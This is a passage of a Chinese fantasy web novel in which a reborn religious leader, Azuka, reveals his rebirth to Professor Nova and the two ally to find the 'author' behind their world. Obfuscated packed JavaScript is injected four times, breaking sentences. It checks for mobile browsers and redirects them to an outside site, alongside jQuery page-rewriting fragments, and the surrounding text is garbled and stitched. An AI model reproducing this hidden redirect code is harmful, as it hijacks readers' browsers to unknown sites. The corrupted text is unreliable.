阿祖卡漠然地注视着眼前的独眼海盗,仔仔细细地看着对方那张丑陋肮脏的脸从极致的狂喜转向疑惑,再呈现出极致的恐惧与绝望。对方赫赫地喘息着,在他面前卑微滑稽地跪下求饶,发觉未果后又疯狂抓挠自己的脖颈,直到屎尿流了一地,经过几分钟的痛苦挣扎后,便和身旁躺了一地的尸体一同失去了呼吸。 就是这些脆弱、肮脏、卑鄙的东西。 一群贪婪而愚蠢的海盗,因为一个不切实际的谣言,妄图得到所谓的“龙巢宝藏”。 对方本该死在海洋的无情中,却因叹息之墙的崩塌、陷入疯狂的龙群和该死的幸运之神加持下,来到了与外界隔绝了三百年之久的阿萨奇谷。 海盗们谎称自己是遭遇海难的商人,被欺骗的纳塔林人没有杀死他们,还为外来者提供了食物与住所。结果这群渣滓趁着纳塔林人与进犯山谷的龙群战斗时偷了船逃走,并将所谓“龙巢”的消息高价卖给了港口的佣兵协会,从而酿就了一切悲剧的起源。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425362|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些倒塌的房屋与焦黑的土壤,那些人类的哀嚎与血肉,那些火,那些尸体,无尽的尸体……金发少年眼中的泪水被大火蒸干了,他想冲出去,死吧,一起死吧,和敌人和族人和他所恨的一切所爱的一切一起去死吧—— 月亮被云层遮住了,黑暗中,一道雪亮的影子如流星般消失,而那只断成两截的船四周的时间仿佛再次恢复了流转,安静而无声地崩塌,沉进海里,不再留下任何一点痕迹。 …… 防龙网和重新安置的投石器的效果好得超出所有人的想象。 几个自家龙没出去找对象的龙骑士兴高采烈地飞到半空中,帮忙清理着挂在网上的鳞片与残肢。进犯山谷的小型龙群如瞎子般纷纷被网缠住了脚或翼,族中的雷系术士更是帮忙增添了其中威力,大家首次感受到了“流水线作业”——教授原话,谁也不知道那是什么意思——的快乐。 倒是教授本人好像不太满意,一直在嘟囔些什么韧性配比损耗度之类听也听不懂的单词,然后开始奋笔疾书。 拉米娜无语地拉了人一把,被突然打断思路的黑发青年眉头一皱就想训人,结果一只小羽龙的尸体恰好砸在脚边。 他把几乎脱口而出的刻薄话咽了回去:“……谢谢。” 女战士瞪了那个冒冒失失的龙骑士一眼,随后轻轻哼了一声:“不用谢我,神眷者要我盯着你,别让你‘因为好奇心莫名其妙死在什么地方’——别看我,他的原话。” “……我不会做这种愚蠢的事,请不要用莫名其妙的形容词定义我,你也无法‘盯着我’。” “随你怎么说吧,反正你也打不过我,可怜的瘸子。”红发姑娘撇了撇嘴。巴萨醒了,她今天心情难得不错,再加上对方这幅为族里殚心竭虑的模样很涨好感,所以懒得和人计较。 然后那双灰眼珠忽得转到她身上,令人不适地快速扫视了一圈。 “你今天早上又去看了巴萨,还带了一束野花,应该是在自己屋后拔的。然后和对方一起吃了自己带的早饭,是你哥哥拉姆达做的,玛姆果炖银背鱼,你不太喜欢,但还是吃完了,并不小心把汤撒在了衣袖上。临走之前他亲吻了你的脸颊,你没有拒绝——哦,你喜欢他——然后你准备回家换衣服,中途去了一趟易物所,买了一些玛姆果和银背鱼,说真的,你不喜欢为什么还要买——还需要我继续说下去么?” 拉米娜呆呆地看着他,一点羞恼的血色顺着她的耳尖慢慢涌到了脸上,又慢慢变成了握紧的拳头。 “一点小技巧,我家乡的侦探喜欢这样做。”那个黑头发的混蛋微微扬起下巴,傲慢地说:“这才叫‘盯着你’,女士——您说得对,我得远离坠物,所以不必担心我会被几只龙当场砸死。现在请去做您的工作,不要打扰我的思考,感激不尽。” 就在拉米娜忍不住要将拳头砸向那张可恶的脸时,某只巨龙忽得从天而降,激起了一阵欣喜的欢呼。 12. 骗子 风行者掀起的气浪将所有人吹得睁不开眼,望着地面上因它的到来而欢呼的纳塔林人,艾泽拉矜持地敛了翅膀准备降落,尾鳍却被什么东西狠狠拽了一下。 龙吓了一大跳,在半空中以一个高难度的扭曲姿势别过头去,气急败坏地试图啄咬从屁股后方偷袭的敌人,却只咬到一团空气。它眯起眼睛仔细观察了一会儿,这才发现原来是被一圈铁丝网缠住了尾尖儿,随着地面人类的大声呼喊,它狠狠晃了几下尾鳍,随后得意洋洋地发现支撑铁丝网的立杆出现了肉眼可见的倾斜。艾泽拉正准备就这样把那怪模怪样的东西连根拔起——然后龙被人在头顶重重拍了一下,听见了主人冷酷无情的声音。 “自己一点点把网解开,敢弄坏了一个月没有梳毛。” 委屈且不可置信的巨龙:??? 随后,纳塔林人眼睁睁地看着白色的巨龙如一只大蝙蝠般倒挂在半空中,引体向上般哼哧哼哧小心啄咬那些缠在尾鳍上的网,一边咬,还一边从喉咙里发出可怜的咕咕声。 龙听话,龙好,人威胁龙,人坏——呸,怎么都是鳞片,恶心,恶心! 纳塔林人纷纷行礼,神眷者站在阳光下,柔软散落至肩背的金发明亮灿烂,耳边珊瑚红得似血,松石青得如黛,一切色彩都明艳澄澈得不可思议。假若有位技艺高超的画家能够捕捉这一瞬间,对方甚至能光凭画像就成为不少神明的祭司。 诺瓦看了一会儿,慢慢皱起眉头。 那边艾泽拉总算在不搞破坏的情况下将网解了下来,它落在了地上,心虚地瞥了眼歪歪斜斜的立杆,悄悄挪了下屁股,试图用尾鳍挡住主人的视线,对方似笑非笑地看了它一眼,倒是没有计较。 “神眷者,愿乌托斯卡庇佑您的命运与灵魂——我们想知道,叹息之墙是否依旧完好无损?” 一名纳塔林人站在人群中问道,喜悦的氛围顿时消散了些许。叹息之墙附近是名副其实的死亡之地,足以载人的龙中,唯有风行者可以进出自如。 “我的族亲,”对方以一种奇异庄严、富含韵律感的语调回答道:“来自飓风之子的叹息抵不过时间的流逝,风暴将息,唯有愤怒的命运战车与拉莫多拉的子孙还将庇佑风的子民。” 这就是布洛迪教授的老本行了——飓风之子应该是指科伦丁王,“命运战车”是指海洋之神欧德莱斯行进时掀起的风浪,拉莫多拉是传说中所有魔兽的先祖,也是世界上第一条龙,后来被起源之神安布罗斯驯服。 也许是为了保有对宗教的解释权,在安布罗斯大陆,不论哪个教派,其神史都极喜欢使用各种乱七八糟的指代。 这可苦了各大教派的祭司和教士,某些神明及其相关的指代简直多得离谱,最多的一位光神本身就足足有三百零八个,其中一百五十七个和其他神重合,需要靠语境分辨。再比如万一分不清神史记载中的“花之冠冕”指的是生命与喜悦之神还是爱欲之神,那乐子可就闹大了,说不定会留下某位男性神明与另一位男性神明偷.情后怀孕,再因打胎一事爆发神战的奇葩神史,简直有辱形象。 而这也是神学家出现的原因之一:末世纪刚结束时,尚且残存的各大教派之间敌意还颇深,各自神的神史属于珍贵史料,不能给其他教派看的,同时也是担心对账对到一半容易再打起来。 但是大家都想知道谁是胜利者,谁更有资格与噱头来招揽信徒——于是神学院应运而生,由一群签订灵魂契约以确保绝对公平的神学家负责调用并规整各大教派的史料,并每隔十年发布一期最权威的神史。 诺瓦还在思考那些指代透露出的情报,这边人群便有些骚动,不少纳塔林人的脸上出现了惶恐不安的神色。科伦丁王留下的叹息之墙庇佑了阿萨奇谷长达三百年之久,阻挡了帝国的追兵、大部分海兽与龙的侵袭。谁也不知道这道自出生以来便存在的“天堑”突然消失后,纳塔林人该何去何从。 “纳塔林人的谷地被群山包裹,有海洋阻隔,唯有新生峡谷一个出入口,易守难攻,还有什么好怕的?”拉米娜忽地提高了声音,压下了那些窃窃私语:“更何况我们有船,有龙,有大型武器还有箭与刀——如果哪个胆小鬼只会仰仗先祖的庇佑,不如现在就和长毛羊一起躲进地窖里,族人一定会保护你,但你将不再是一名纳塔林战士!” 纳塔林人渐渐地散去了,神眷者站在原地,仰头望着那杆被自家龙拔萝卜一样拔歪的立杆。 “您可以准备一下了,”听见些许悉悉索索靠近他的声响,他头也不回地平静道:“按照契约,不久之后我会送你们离开阿萨奇谷。” “你杀了人。”对方用通用语说。 神眷者依旧没有动,他的脚下就是一具龙的尸体,龙血顺着土壤缓缓渗入,影子也因此变得猩红一片。 “在一艘船上,看你的鞋和衣摆——至少两个,也许更多些。你用了法术,因为你不想触碰他们,你很愤怒,但不是激情杀人,而是经过深思熟虑后将他们折磨至死。我猜猜,拧断四肢、开膛破肚……不,你不喜欢血腥气,是窒息而死。”教授烟灰色的眼珠就像两颗透光度极高的玻璃球,扭曲倒映着另一个人影:“为什么,你在向谁复仇?” “……您真得想知道么?” 我的宿敌,你真得已经准备好知晓一切真相么? 神眷者优雅地微微偏过头来,露出一点侧脸,但仅仅只是显露出的部分,便足以激起任何人源自本能的敬畏与恐惧——那只蓝眼睛已经彻底褪去了波光融融的暖意,显露出异常深沉难辨的威严。 “你可以说,也可以不说。如果你愿意,我可以充当一次倾听者的角色。”但是另一人压根没被他吓到。对方先是表露一点敷衍的善意哄哄人,接下来便毫无波动却带着不自知的嚣张表示:“如果不愿意也没什么,对我来说世界上没有秘密,不过是又一道线索不足所以暂时未解的谜题而已。” 阿祖卡沉默了一会儿,慢慢微笑起来。 “您在我面前是不是胆子越来越大了?” 明明最开始还会装模作样的叫他“早安,阁下”,现在可好,就像从他身上汲取了某种莫名其妙的安全感,这贯会得寸进尺的家伙已经开始毫不客气地拿他当解闷的乐子了。 简直像个莽撞的孩童,不顾成人社会的约定俗成,朝旁人显露出的边界毫无顾忌的冲刺,也许唯有感受到疼痛,才会再次将自己蜷缩起来。 他毫不客气地伸手,用手拢住了宿敌的脖子——对方本能想要挣脱,却被他如对付不安分的猫似得捏了捏后脖颈。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425363|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“很凉,放手。”黑发青年不满地皱起眉来。 对方的手指不知为何冰凉如死人,就像被风吹了整整一夜。 “是啊,很冷。”阿祖卡低声说,下意识用手指往那片柔软细腻且轻微发烫的皮肤上蹭了蹭。 ……很舒服,干净的、纯粹的、来自人类的温度,胸膛深处那些在黑夜的笼罩下泛起的空洞与寒冷,似乎在这一瞬间被填补了些许。 某种意义上,他不是一个人。 深感被人冒犯的教授微微眯起眼睛。心知肚明自己战斗力几何,他也懒得去做些无用功了,只是决定给人一点颜色看看。 “您觉得我是从哪里来的底气与您对峙?”他轻声问道:“难道是因为自欺欺人的傲慢,和庸人得势后的愚蠢么?” “也许是源于我对您的过度纵容?” 诺瓦面无表情:“……请别这样,有点恶心。” “我不想与您为敌,”他将语速放得轻缓了一点:“但是与您商榷改造方案之前,我究竟有没有找到吸引龙的声波频率,我有没有在勘测地形的时候,于阿萨奇谷的某处埋下了发射装置?” 搭在后颈的手微微一顿,下一秒对方收紧了手指,疼痛、窒息与压迫感顿时袭来,黑发青年却是极快速地微笑了一下:“别告诉我您从未这样想过,不然我会对您失望的,神眷者阿祖卡,纳塔林人的宗教领袖。” “试试这个。”他若无其事地从兜里掏出一个小小的粗制哨子,递到另一人嘴边。 沉默了一会儿,对方终于松手,接了过去轻轻吹了一下。俩人没有听到任何声音,一旁正百无聊赖梳理着羽毛的风行者却是突然仰起脑袋瞪大眼睛,好奇而戒备地朝着神眷者的方向张望。 教授大方地表示:“一种能够发出超声波的哨子,人听不见,很多动物听得见,送你了。” “非常感谢您的慷慨。” “不客气,”对方没理他的阴阳怪气,也许是压根没听出来:“我的大脑就是我的全部仰仗,我暂时不知道您想利用我做些什么,但是我将如何使用它,很大程度上取决于您的态度。” “温馨提醒,面对我的时候最好保持您的思考,不断的思考,而不是用那套敷衍其他人的东西敷衍我。”他的宿敌堪称温和地告诫道:“我不会再说第三遍,如果您想要利用我的头脑,不要使用这种信息获取效率极低的沟通方式,否则我只能通过自己的方式与您沟通了——相信我,您不会喜欢的。” “至于现在,”他飞快地假笑了一下:“只是个因为您对我的冒犯从而产生的小小警告,您可以自己猜一猜我有没有在谷里做那种卑劣的破事。” 神眷者沉默了一会儿,忽得轻轻笑了一声。 “骗子。” “别再用纳塔林人威胁我,教授。这很危险,我刚才差点失手拧断您的脖子。”他恢复了往日的温和平静,飞快在诺瓦的后脖颈上揉了揉,又收回了手——见鬼,神眷者这都什么破习惯,诺瓦严肃地想,掌控欲爆表的肌肤饥渴症患者? “好,我记住了。”看在对方有所进步的份上,教授先生大度地没有计较,赞许地微微点头:“就是这样,别老是转移话题,也别扯有的没的。” 所有谜语人都滚出他的世界。 13. 漫画 达成共识后,沟通得以继续。 “在叹息之墙附近,我杀死了六个海盗。”神眷者淡淡地说,但是贴心地交代了过程:“五个窒息而死,一个被同伴从背后刺穿胸口。” 另一人轻啧了一声,似是为未能彻底推理全貌而懊恼。 “那群海盗前来寻找‘龙巢宝藏’,却被龙群摧毁了船只。他们被纳塔林人救起后又偷偷离开,并将阿萨奇谷与纳塔林人的情报卖给了港口的佣兵协会,从而导致萨曼家族联合驻港海军对纳塔林人展开了屠杀。” “……这是预言?”黑发青年冷静地问。 “不,这是现实,我曾亲身经历了这一切。”神眷者的声音很轻,平静得吓人。 伟大的故事就此拉开序幕,一夜之间失去故土和亲族,深陷谜团之中的少年背负起滔天血仇,踏上成为传奇的坎坷路途。 纳塔林人的遗孤开始逃亡,每当以为自己可以结束流浪,稍加喘息,偏偏各种阴差阳错一次又一次地夺走他曾短暂拥有过的一切。 观赏这个故事的观众只会感叹命运的残忍无常,却不知所谓“残忍无常的命运”背后另有推手。 “阿萨奇谷与世隔绝了三百多年,所谓‘龙巢宝藏’的说法却是近期才突然出现。”传奇本人的声音越发轻柔,已经几近耳语:“教授您说,这个流言究竟是由何而来呢?” “……和卡西乌斯二世相关?” 真要论起纳塔林人有什么敌人,目前来看最大概率是当权统治者。 “不,我们的国王陛下根本不在乎这些东西,”阿祖卡冷笑起来:“在他看来那位与他同姓同族的先王不过是个短命的倒霉鬼,不值得他花费精力报复一群丧家之犬。他更愿意将钱财投入到赌博、戏剧和举办各种奢靡的宴会上。” 他曾被迫吞咽下悲痛、耻辱与怒火,直到足以正视曾经高不可攀的当权者——但那位放浪荒唐的国王却对这份由一整个族群的人命组成的“礼物”满不在乎,杀死“阿祖卡”人生的,不过是一群试图向上位者献媚却失了手的走狗。 “什么?”当时的卡西乌斯二世一边指挥几个穿着暴露滑稽的小丑搔首弄姿,一边被逗得哈哈大笑,闻言漫不经心道:“哦,萨曼卿好像什么时候提过,但这种事我怎么记得清,你去问他好了。” 风声怒号,如同悲泣。诺瓦惊疑不定,他被自脚下升腾骤起的狂风吹得睁不开眼,下意识想要后退,却被人从后方扣住了脖颈。他这才发现俩人正处于狭窄的风眼,沾满龙血的石块被全然卷起,于漩涡流中以肉眼几不可见的速度碾成了粉末,他刚才若是不小心跌落进去,人的血肉之躯可不会比石块好上多少。 然后他对上了一双孕育着天灾的眼睛,虹膜的金色边缘朝着那些深沉的蓝色分裂出细小的纹路,如闪电,如浪尖,如宇宙的裂痕。 “抱歉吓着您了,但是这样会安全点——我就直说吧,教授,这一切都是我的亲眼所见。”神眷者的声音柔和清晰,在另一人的耳边凝聚。 “这个世界是一本‘漫画书’,而我是男主角。在不远的将来,无数灾难和巧合会自然而然地降临在我身上,因为只有这样,剧情才会变得足够波澜起伏,足够的有趣。” 黑发青年的瞳孔猛地瑟缩一瞬。 “漫画书”一词对方使用的是他极为熟悉、但绝不可能在安布罗斯大陆出现的汉语。荒诞的错乱感与巨大的信息量令教授的大脑都停滞了一瞬。 “至于您,教授。”自称男主的疯子缓缓微笑起来:“您来自那个负责观赏我的人生的世界,对吗?” “……” “别紧张。”那只扣在后颈的手施了一些力,几乎将人抱进怀里了。阿祖卡低下头,绚烂的金发柔软散落在黑发青年赤.裸的脖颈上,冰凉的珊瑚与松石轻轻触碰着皮肤,如一张细密轻柔的网。 他望着那人耳廓上的绒毛,在气流作用下的细微颤抖,柔声安抚道,尽管内容令人毛骨悚然:“我不会迁怒与您,也不会对您的隐瞒生气……我确实曾想过,如果你只是个被命运操控的、比较特殊的人偶,我会直接将你的灵魂取出来研究——但您本人让我放弃了这个想法。” “说到这里我想起来了,”他忽然转移了话题:“之前一起签订灵魂契约时,我发现您的灵魂无法被奥肯塞勒河束缚,所以契约对您压根不起作用——对此您有什么想法么?” “……我保证在此之前对此事一无所知。”诺瓦慢慢皱起眉来。 神眷者不置可否地微微颔首。他松了手,后退一步,带给人的压迫感顿时消散了不少。 黑发青年站在原地沉默了一会儿,忽地问道:“那么我呢,我在那本你曾‘亲眼所见的漫画’里的角色定位是什么?” “您杀死了卡西乌斯二世与王后爱斯梅瑞,夺得了王位,并决定掀起灭世之战,屠杀所有信徒。”男主保持着他那平静的表情:“简单来说,您是我的宿敌。” 也就是反派,还是干掉旧反派中途上位的最终反派。 诺瓦:“……” “……您在开玩笑?”他面无表情地问道:“我现在是一名大学教授,工资不算高但胜在稳定,还是一名小贵族,人类的基础需求都能得到满足,我为什么要突然闲得没事去毁灭个世界?” 诺瓦知道自己有病。在原世界,成年后他曾做了一次彻底检查:阿斯伯格综合征,足以令他异于常人——但他确实不是什么愉悦犯或高功能反社会疯子。 “也许这只是一段‘剧情’?”另一人哪怕是面对“宿敌”都语气温和得瘆人:“也许我们都只是个用来取悦诸神的虚构角色,和那些满口谎话的吟游诗人嘴里的英雄或小丑没有任何差别。” 诺瓦盯着他——这家伙明明在说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425364|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些荒诞绝望至极的东西,偏偏依旧保留着那种近乎凝固的微笑,这让他看起来疯得厉害。 “不,我不这样认为。”黑发青年斩钉截铁地回答:“如果这个世界的本质是一本漫画,那么这个世界便不会存在。” “我曾阅读过数以万计的、涉及这个世界各地各个领域的书籍与文献,并能复述出其中大概。我可以无比确信,你的世界拥有经过长期演化并且严密完备的文化、经济与政治系统,究竟是什么样的存在可以通过一本书来创造出这样完整且成熟的世界?难道就凭你们的神明?” 他刻薄地嗤笑一声,飞快地反驳道:“恕我直言,仅靠那些‘多姿多彩’的史料,以及从未有神明活跃超过千年的事实,我能得出的结论唯有‘神不存在,只是一群力量强大些的人’。” 他不该对一位宗教领袖说这种话,但对方看起来和喜欢将神明挂在嘴边的本地人不同,而诺瓦愿意相信自己的直觉。 巧舌之神曾为了戏耍对他不敬的国王,让他强.奸了自己最宠爱的女儿;爱欲之神因为嫉妒某个人类女子的美貌,迷惑她,令其在众目睽睽下与野兽.交构。各个教派将其当做“不得对神明不敬”的教诲大肆宣扬,教授却被那些下三滥的手段恶心得不轻。 嫉妒、贪婪、色.欲……如果人类的一切劣根性不曾从“神明”的身上剥除,他们又怎能称得上“神”呢? “……请说下去。”神眷者的眼神深沉难辨。 “至于我的世界……”教授不自觉稍微降低了语速,他人难以分辨出这点细微的差别,但是神眷者迅速注意到了这一点——显然,对方对自己的故国怀有情感。 “最简单的逻辑,”诺瓦面无表情地说:“如果这本漫画来自我的祖国,你们都该说汉语。如果是海外的作品,那也该是我听说过的语言。” ——而不是让他从头学习一门完全属于陌生语系的外语。 “……您的故土又是否有神明存在?” “各类大大小小的宗教不可避免,但是我的祖国是世界上最大的、以无神论者为主流的国家。我们一般不会去证明世界上是否有神,而是要求神明进行自证——但是至少在有可信史料记载的百年来,不管发生了什么,从未有神明真正意义上现身。” 那些装神弄鬼的骗子邪.教不算。 “综其所述,更像是有人以你的经历为原型,将其画成了一本漫画。”教授心满意足地下了定论,就像冲人甩出了一本结题报告,缺乏同理心,却显得十足安妥:“我不知道你是如何看到的那本书,又是如何逆转了时空,听起来很像我们那边流行过的重生小说。只是请坚信一点,无论你所经历的一切是否被人操控,只要你还能思考,还能自主行动,那么你依旧是自由的,可以依靠自己对现状做出改变。” “——我们管这叫人类的主观能动性。” 14. 结盟 对方从喉咙里挤出了一声古怪的笑声,就像被哽住了那样。然后他安静下来,仰起头来,凝望着在单调嘈杂的狂风中,那些昏昏沉沉的灰雾。 诺瓦同他一起仰起头,发现什么也看不清。 “其实你没有纯粹将这一切看作假象。” 教授说:“很明显,你对纳塔林人抱有感情,对你的龙也是。” 另一人并不回答,只是慢慢闭上眼睛,吐出了一口气。 “您想知道十年前发生了什么吗?”他轻声问,但是没等诺瓦回答又改口道:“不,不如说我单方面想说给您听好了。” 教授凝望着他,那双美丽威严的眼瞳被掩上时,对方顿时显出一种宁静而疲倦的哀伤来。他在对我示弱,他想,这种古怪莫名的、越过思考过程的判断让黑发青年皱起眉来,有些拿不准对方的动机。 他对神眷者观感古怪。对方既有久经世事的深沉淡漠,有时却又流露出少年般的温柔坦然。他像一片被太阳晒得暖融融的陌生海域,清澈透明,不可捉摸,触手温热可亲,但若真的沉进去,怕是会直坠深渊。 “……我大概知道了些许信息,但是你说吧。”黑发青年警惕道:“我会根据具体情况判断要不要当做没听见。” 阿祖卡无奈地看了他一眼,又有点想掐宿敌的后脖颈。但是今天带给对方的冲击已经够多了,何况对方还有些笨拙地安慰了自己,再欺负人好像有些过分,让他难得有些良心不安了。 尽管已经可以初见宿敌日后那可怖的洞察力,但现在的诺瓦·布洛迪,确实还只是个没怎么历经挫折的、甚至还显出几分天真莽撞的年轻人,以阿祖卡的真实年龄几乎可以叫对方“孩子”的。也许是因为这奇异的错乱感,救世主大人很容易对他那“活泼”的宿敌持有一种微妙的纵容与心软。 “十年前,我回到了漫画的开头。”他叹了口气,那口气好像在说我今天早上吃了三片烤玛拉。 “……这下说得通了。”诺瓦轻声嘀咕了一句。他可不是有了疑惑还能忍着不去追究的性格,既然对方表示可以用来交易——诺瓦都不想把那哄小孩一样的玩笑称为交易——那就不是什么重要的机密情报。不需要顾及是否会彻底激怒对方后,他很轻易得到了一些信息。 十年前没有发生什么大事,只是一个名叫艾莲娜的女人死了。 可怜的女人,一场漫长而古怪的疾病,逐渐夺去了她的生机,她一天一天衰弱下去,最终只留下了一个年幼的孩子。 孩子的父亲是谁,没有人知道答案。他的母亲对自己的突然怀孕沉默以待,只说对方是“神明的孩子”。 而那失去母亲的遗孤确实拥有足以令诸神惊叹的美貌,假如在神明最为活跃的初世纪,这样的孩子如果不被献给某个神明以求庇佑,是活不下来的——贪恋他的神明会追逐他,嫉妒他的神明会折磨他。脆弱的普通人可禁不起这些苦难,历史上那些著名的美人几乎全部早早香消玉损。纳塔林人怜悯他,决定抚养那孩子长大。 孩子沉默着采来一捧捧蓝格罗姆——他的母亲曾常年服用这些蓝色小花,用来消减痛感——天空般的颜色将女人的身体彻底掩埋,每夜孩子都会偷偷离开,来到母亲的坟前入睡,照顾他的族人发现了,但也没有制止,只是悄悄多添了几件厚实衣物,任由对方独自做这最后的告别。直到一天清晨,孩子被人发现晕倒在母亲的坟墓前,醒来后,对方的胸口生长出漩涡般的纹路,他可以轻松地掌控风,可以驯服群龙,连风行者都为他低首,“小飞鸟”成为了神眷者,也一夜之间失去了天真烂漫的性情。 神眷者没有提及母亲的死,也没有提那个年幼的孩子失去血亲后、天崩地塌般的痛苦与绝望。他只是平静地讲述他如何在族人的包围下初次清醒,如何带领纳塔林人驯养龙,如何寻到一只尚未成年的风行者,并亲手将它驯服。 “我尝试改变一切,”他轻声说:“孩童的躯体不足以支撑我本源的力量,急于求成只会导致躯壳崩塌,不然我会提前毁掉阻碍纳塔林人的叹息之墙……阿萨奇谷还是太贫瘠了,我能做到的只有利用龙,为族人增添筹码。” “……你在重生前达到了什么战力水准?”诺瓦迅速发现了重点,但是没等对方回答便发现自己问了一句蠢话——进入大结局的男主怎么可能不是强者? 果不其然,对方的回答平静中透露出隐隐的威严与血腥:“重生之前我已经是圣者,我已知的敌人都死在了我的剑下。” 他已经很顺畅地接受了“重生”这个概念了。 “你不是术士来着——明白了,魔武双修。” “……什么?”对方露出了一个有些迷茫的眼神,因为最后那词他说的是汉语。 就是又能抡大剑又能阿瓦达啃大瓜,能扛能打能远能近,起点男主标配——而且这家伙估计还得挂个“美强惨”热门tag。身为被互联网庞大信息流日常轰炸的现代人,哪怕是诺瓦也是知道一些梗的,不过每次试图使用都会陷入奇怪的冷场。 布洛迪教授面无表情:“就是你既是武者也是术士,夸你全能,很厉害。” 全能且很厉害的救世主本人哭笑不得:“……谢谢您的夸奖?” “不客气。”对方条件反射地回答,阿祖卡发现这人似乎对礼貌有种奇怪的执着,但也因此在某些场合显得格外气人。 这么一打岔,话题偏得十万八千里,他心里那点因为被迫回想少年时期记忆而产生的负面情绪都快要消失殆尽了,教授先生真是个神奇的人。 “您说的没错,至少目前为止,我还拥有正常的思维与行动能力。”阿祖卡微微笑了起来,那双蓝眼睛却是显露出极为骇人的冰冷:“而且我确实很好奇,究竟是谁能够制作出这样一本漫画,又是谁在幕后玩弄我的人生?” 他的语气很轻,未尽之意却满斥了浓郁的血腥味:“我想要找到那位或那群‘作者’,然后得到我应得的答案——” “但这一切需要您的帮助,教授。”神眷者垂下眼,静静注视着眼前的黑发青年。他的声音变得温柔平缓起来,带着不易被察觉的蛊惑:“对方和您的世界有一定关联,而您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14425365|153688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比我敏锐,比我擅长思考,也比我更了解那些我不曾接触过的东西……我需要您的智慧与头脑,您是我在这个世界上唯一的盟友。” 被人夸得有些僵硬的诺瓦别开头去:“……这确实是一个很有趣的谜题——有趣,但绝对是个惊天动地的大麻烦,给我要抛弃一切帮助你的理由。” “很简单,我可以明确地告诉您,有一场会波及到您的战争很快就要爆发了。您不是武者,也不是术士,仅凭您的头脑、职位与家族,和平时期的秩序将无法庇佑您。”他这话说得很不客气了,但是脾气并不好的教授先生看起来没有被冒犯,他只是皱眉沉思:“漫画里的诺瓦·布洛迪是在沉寂许久后才再次出现的,我不知道您付出了什么,那时的您已经站在我的对立面上……我不会允许您再一次成为我的敌人。” “而我的躯体在逐渐适应我的本源——还有什么比一位圣者的保护更加稳妥呢?只有呆在我身边您才是最安全的。”神眷者望着对方那不自知紧缩的瞳孔,低笑一声,优雅得微微俯身,一手背在身后,另一只手的掌心向上前伸——一个标准的舞会邀请手势,多见于下位者邀请上位者,或男性邀请女士。 “当然,还有一个理由——您想回到属于自己的世界吗?” “……” 黑发青年短暂地沉默了一会儿,忽地在他的掌心里迅速拍了一下。 “成交。”他斩钉截铁地说,另一人甚至为他的决断力愣了一瞬:“我帮你找到‘作者’,你为我提供保护,并协助我回到我的世界。” “……非常惊人的果决与执行力,感谢您的信任。” “不,和信任你没太大关系。”对方毫不客气地说,也不知在脑内经历了怎样的思维风暴:“只是因为一切线索都连起来了,这下全部都说得通了——还有一点,你之前那副心死如灰的模样是故意装可怜诈我的?” 对方从刚“重生”时便开始做准备,怎么看都不像是因为对自己的存在产生怀疑从而陷入了自怨自艾。 另一人沉默了一下,又用有些落寞的眼神望着他,看起来真挚得要命:“抱歉,虽然那确实是我的真实情绪……但我得最后确认一下您的态度。” 从见到宿敌的第一眼起,他便在若有似无的试探对方。假如测试未通过,他绝对会选择杀死他尚且青涩的宿敌,将对方的灵魂带在身边,以免为自己增添一个可怕的敌人——好在那的确是一个他从未见过的、熠熠生辉的异世灵魂,聪明、冷静、无信者,还怀有一定的道德感,满足他的一切要求。 “这一点我得向您道歉,为我的欺瞒。”他真心实意地说,随后发觉对方再次出现了那种奇怪的紧绷状态。 “……你我之前不是盟友,以你的处境警惕些才是正常的,不必道歉。”黑发青年有些不安地试图拉开距离,却差点再次掉进旋风里。 无奈地扣住宿敌的肩膀,把人拉了回来。 还有一点,阿祖卡想,他得尽量盯着他的教授先生,以免珍贵的盟友如一只野猫一样,在某个角落里莫名其妙的死掉。 15. 渡海 太阳明晃晃的,气温骤升,斯卡波船长抹了把汗,将那些由铁丝、涂抹着油脂的麻线与动物毛发编织而成的缆绳打结、拉紧。 